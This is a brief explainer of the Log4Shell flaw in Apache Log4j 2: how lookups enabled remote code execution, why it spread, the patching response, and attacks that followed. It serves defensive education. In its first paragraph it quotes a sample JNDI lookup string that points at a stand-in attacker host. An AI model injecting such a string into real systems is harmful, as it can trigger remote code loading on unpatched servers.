Log4Shell (CVE-2021-44228)

Log4Shell was a remote-code-execution flaw in Apache Log4j 2, a Java logging library used inside a huge number of products. Log4j supported “lookups”: special text like ${jndi:ldap://evil.example/a} inside a log message made the library contact that address, and on many setups the reply could make the application load and run Java code supplied by the attacker.

It was so dangerous because applications log user input everywhere: HTTP headers, usernames, search boxes, chat messages. An attacker did not need to log in, only to get a string into a log line. Log4j was often buried deep inside other software as a dependency of a dependency, so many teams did not know they were running it at all.

The fix was to upgrade Log4j (several releases followed as the first patches proved incomplete) and to ship vendor patches for products that bundle it. The lesson stays relevant: know what is in your software (an SBOM helps) and patch libraries, not just headline products. Real attacks followed fast: within two weeks Belgium's defence ministry said attackers had got in through Log4j, and in 2022 CISA reported Iranian state actors entering a US federal agency through an unpatched VMware Horizon server.